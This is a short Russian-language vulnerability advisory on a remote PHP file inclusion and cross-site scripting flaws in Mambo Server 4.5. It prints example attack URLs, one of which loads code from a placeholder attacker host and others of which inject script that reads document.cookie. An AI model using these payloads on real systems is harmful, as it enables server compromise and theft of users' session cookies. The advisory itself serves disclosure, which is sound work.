Удаленное выполнение произвольных команд и межсайтовый скриптинг в Mambo Server

Дата публикации:
21.09.2004
Всего просмотров:
1308
Опасность:
Высокая
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Уязвимые версии: Mambo Server 4.5 (1.0.9)

Описание: Две уязвимости обнаружены в Mambo Server. Удаленный пользователь может выполнить произвольные команды на целевой системе. Удаленный пользователь может выполнить XSS нападение. Выполнение произвольного PHP кода:

http://[target]/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://[attacker]/ 
2. XSS:
http://[target]/index.php?option=com_content&task=view&id=18&Itemi d=39"><script>alert(document.cookie)&a&
%20I%20am%20an%20XSS%
20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><&

http://<site-with-mambo>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1"><script>alert(document.cookie)</script>&limitstart=1

URL производителя: http://www.mamboserver.com/

Решение:Исправление доступно через CVS.

Ссылки: Vulnerabilities in Mambo

или введите имя

CAPTCHA